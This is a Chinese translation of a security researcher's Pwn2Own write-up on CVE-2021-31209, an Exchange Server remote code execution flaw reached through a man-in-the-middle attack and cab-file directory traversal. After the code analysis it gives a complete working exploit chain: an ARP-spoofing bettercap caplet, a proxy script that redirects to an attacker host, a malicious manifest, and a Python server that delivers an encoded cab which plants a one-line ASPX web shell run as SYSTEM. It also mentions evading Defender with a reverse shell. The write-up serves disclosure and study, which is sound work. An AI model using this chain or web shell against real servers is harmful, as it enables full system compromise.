Exchange Server 中间人劫持 RCE 漏洞分析

[翻译]Exchange Server 中间人劫持 RCE 漏洞分析

原文:https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

Pwn2Own Vancouver 2021:: Microsoft Exchange Server 远程代码执行

2020 年 11 月中旬,我在 Microsoft Exchange Server 中发现了一个逻辑远程代码执行漏洞,该漏洞有一个奇怪的转折——它需要触发之前进行中间人攻击(MiTM) 。我发现这个错误是因为我正在寻找调用 以WebClient.DownloadFile希望发现服务器端请求伪造漏洞,因为在交换服务器内的某些环境中,这种类型的漏洞可能会产生巨大影响。后来,我发现SharePoint Server也受到本质上相同的代码模式的影响。

漏洞摘要

当管理用户在 Exchange 命令行管理程序中运行Update-ExchangeHelp或者Update-ExchangeHelp -Force命令时,处于特权网络位置的未经身份验证的攻击者(例如 MiTM 攻击)可以触发远程执行代码漏洞。

漏洞分析

Microsoft.Exchange.Management.dll文件中,定义了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand类:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

[1] 处,代码调用HelpUpdater.UpdateHelp方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater类内部,我们看到:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

这个函数执行一些操作。第一个是在[2]调用DownloadManifest时。让我们来看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

在[3]处,代码ManifestUrl调用AsyncDownloadFile。当从InternalValidate调用LoadConfiguration方法时设置ManifestUrl:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

在[4]处代码在验证 cmdlet 的参数时调用 LoadConfiguration 。这将 ManifestUrl 设置为http://go.microsoft.com/fwlink/p/?LinkId=287244如果它不存在于注册表单元中:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp (在[5]处)。默认情况下,它不会这样做,所以值总是http://go.microsoft.com/fwlink/p/?LinkId=287244

回到[3]的AsyncDownloadFile,这个方法将使用WebClient.DownloadFileAsync API用于将文件下载到文件系统中。因为我们无法控制本地文件路径,所以这里没有vuln。稍后在UpdateHelp中,我们会看到以下代码:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

这里有很多东西需要解释。在[6]上,代码搜索下载的清单文件,以查找特定的版本或版本范围,并确保Exchange服务器的版本在该范围内。检查还确保新的修订号高于当前的修订号。如果满足了这些要求,那么代码将继续执行[7],在这里检查区域性。因为我的目标是英语语言包,所以我将它设置为en,以便以后可以构造一个有效的路径。然后在[8]下载并存储cabineturl。这是xml清单文件中指定的.cab文件。

最后在[9],使用Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp方法提取cab文件:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

在[10]处Microsoft.Exchange.CabUtility.dll调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles,这是一个混合模式程序集,包含本地代码,使用导出的ExtractCab函数提取cab文件。不幸的是,该解析器在提取文件以验证文件是否包含目录遍历之前不注册回调函数。这允许我将任意文件写入任意位置。

利用

文件写入漏洞并不一定意味着远程执行代码,但在web应用程序的环境中,这种情况经常发生。我在Pwn2Own提出的攻击会写入C:/inetpub/wwwroot/aspnet_client目录,这允许我向shell发出http请求,以SYSTEM的身份执行任意代码,而不需要身份验证。

让我们回顾一下设置,以便我们能直观地看到攻击过程。

设置

第一步将要求您对目标系统执行ARP欺骗。在这个阶段,我选择使用bettercap,它允许您定义可以自动操作的caplets。我记得我上次有针对性的MiTM攻击是12年前的事了!这是我poc.cap文件,该文件设置了ARP欺骗和代理脚本,拦截和响应特定的http请求:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

poc.js文件是我编写的代理脚本,用于拦截目标请求并将其重定向到位于http://192.168.0.56:8000/poc.xml的攻击者宿主配置文件。

function onl oad() {    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")    log_info("Found by Steven Seeley of Source Incite")}function onRequest(req, res) {    log_info("(+) triggering mitm");    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){        res.Status = 302;        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");    }}

这个poc.xml清单文件包含承载恶意cab文件的CabinetUrl,以及更新的目标版本范围:

<ExchangeHelpInfo>  <HelpVersions>    <HelpVersion>      <Version>15.2.1.1-15.2.999.9</Version>      <Revision>1</Revision>      <CulturesUpdated>en</CulturesUpdated>      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>    </HelpVersion>  </HelpVersions></ExchangeHelpInfo>

我将manifest和poc.cab文件传递过程打包到一个小型python http服务器poc.py中,该服务器也将尝试访问poc.aspx文件,并以SYSTEM的形式执行命令:

import sysimport base64import urllib3import requestsfrom threading import Threadfrom http.server import HTTPServer, SimpleHTTPRequestHandlerurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class CabRequestHandler(SimpleHTTPRequestHandler):    def log_message(self, format, *args):        return    def do_GET(self):        if self.path.endswith("poc.xml"):            print("(+) delivering xml file...")            xml = """<ExchangeHelpInfo>  <HelpVersions>    <HelpVersion>      <Version>15.2.1.1-15.2.999.9</Version>      <Revision>%s</Revision>      <CulturesUpdated>en</CulturesUpdated>      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>    </HelpVersion>  </HelpVersions></ExchangeHelpInfo>""" % (r, s)            self.send_response(200)            self.send_header('Content-Type', 'application/xml')            self.send_header("Content-Length", len(xml))            self.end_headers()            self.wfile.write(str.encode(xml))        elif self.path.endswith("poc.cab"):            print("(+) delivering cab file...")            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>             stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="            p = base64.b64decode(stage_2.encode('utf-8'))            self.send_response(200)            self.send_header('Content-Type', 'application/x-cab')            self.send_header("Content-Length", len(p))            self.end_headers()            self.wfile.write(p)            returnif __name__ == '__main__':    if len(sys.argv) != 5:        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])        sys.exit(-1)    t = sys.argv[1]    s = sys.argv[2]    port = 8000    r = sys.argv[3]    c = sys.argv[4]    print("(+) server bound to port %d" % port)    print("(+) targeting: %s using cmd: %s" % (t, c))    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)    handlerthr = Thread(target=httpd.serve_forever, args=())    handlerthr.daemon = True    handlerthr.start()    p = { "c" : "/c %s" % c }    try:        while 1:            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)            if req.status_code == 200:                break        print("(+) executed %s as SYSTEM!" % c)    except KeyboardInterrupt:        pass

在每次攻击尝试中,修订号都需要增加,因为代码将把该值写入到注册表中,并在下载manifest文件后,将在继续下载和提取cab文件之前验证文件是否包含更高的修订号。

绕过Windows Defender

执行mspaint是很酷的,但是对于Pwn2Own,我们需要一个绕过 Defender的shell。在Orange Tsai泄露了他的代理登录漏洞的细节后,微软决定尝试检测asp.net web shell。所以我采用了与Orange不同的方法:编译一个自定义二进制文件,执行一个反向shell,并将其放到磁盘上,然后执行它来绕过Defender。

攻击样例

我们首先使用poc.capcaplet 文件运行 Bettercap :

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.capbettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands][12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

现在我们 ping 目标(更新目标缓存的 Arp 表)并运行poc.py并等待管理用户运行Update-ExchangeHelpUpdate-ExchangeHelp -Force在 Exchange 管理控制台 (EMC) 中运行(如果在最近24小时内执行过Update-ExchangeHelp命令,则必须执行-Force命令):

researcher@pluto:~/poc-exchange$ ./poc.py (+) usage: ./poc.py <target> <connectback> <revision> <cmd>(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint(+) server bound to port 8000(+) targeting: 192.168.0.142 using cmd: mspaint(+) delivering xml file...(+) delivering cab file...(+) executed mspaint as SYSTEM!

结论

这不是第一次在 Pwn2Own 上使用 MiTM 攻击,很高兴找到一个与比赛中其他研究人员没有冲突的漏洞。这只能通过寻找新的媒介和/或表面来寻找 Exchange Server 中的漏洞才能实现。逻辑漏洞总是很有趣,因为它几乎总是意味着被利用,而这些相同的问题很难用传统的自动化工具发现。有人认为,所有网络漏洞实际上都是合乎逻辑的。即使是基于 Web 的注入漏洞,因为它们不需要操作内存,并且可以临时重复攻击。

此漏洞在 Exchange 服务器中的影响非常大,因为 EMC 通过 PS-Remoting 连接到配置为以 SYSTEM 身份运行的 IIS 服务。对于 SharePoint 命令行管理程序 (SMS) 直接影响的 SharePoint Server,情况并非如此,在用户运行 SMS 时实现代码执行。

Microsoft 将此问题修补为CVE-2021-31209,如果您尚未部署该补丁,我们建议您立即部署。

参考

上一篇:c# – 使用依赖注入管理HttpClient的多个实例


下一篇:c – Color(int,int,int)vs Color(float,float,float)模糊调用